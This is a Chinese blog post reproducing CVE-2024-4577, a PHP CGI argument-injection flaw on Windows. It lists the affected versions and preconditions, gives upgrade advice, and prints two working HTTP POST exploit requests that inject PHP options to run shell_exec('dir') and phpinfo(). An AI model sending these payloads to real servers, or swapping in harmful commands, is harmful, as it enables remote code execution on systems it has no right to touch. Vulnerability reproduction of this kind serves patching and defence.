【漏洞复现】PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)

Hello_Brian 2024-07-14 11:05:04 阅读 98

漏洞描述:

CVE-2024-4577导致漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的。由于Windows系统内字符编码转换的Best-Fit特性导致PHP原本的安全限制被绕过,再加上一些特殊的PHP CGI环境配置导致了这个问题。

影响版本:

PHP 8.3 < 8.3.8

PHP 8.2 < 8.2.20

PHP 8.1 < 8.1.29

利用前提:

直接用PHP-CGI启动 或者 php-cgi.exe/php.exe 暴露于cgi目录下(例如 /cgi-bin/ )仅影响Windows平台且使用了如下语系(简体中文936/繁体中文950/日文932等)

此漏洞对于环境要求比较苛刻,但是对于使用XAMPP默认配置搭建的PHP Web服务(Windows默认配置部署时,满足以上所有条件)

利用方式1:

通过修改httpd-xampp.conf中注释解开下面这段代码,注释之后需要重启apache服务

在这里插入图片描述

<code>POST /index.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1

Host:

Content-Type: application/x-www-form-urlencoded

<?php echo shell_exec("dir"); ?>

在这里插入图片描述

利用方式2

无需任何配置信息修改

<code>POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1

Host:

<?php phpinfo();?>

在这里插入图片描述

修复建议:

目前,官方已发布修复建议,建议受影响的用户尽快升级至安全版本。

PHP 8.3 >= 8.3.8

PHP 8.2 >= 8.2.20

PHP 8.1 >= 8.1.29

下载地址:https://www.php.net/downloads.php



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。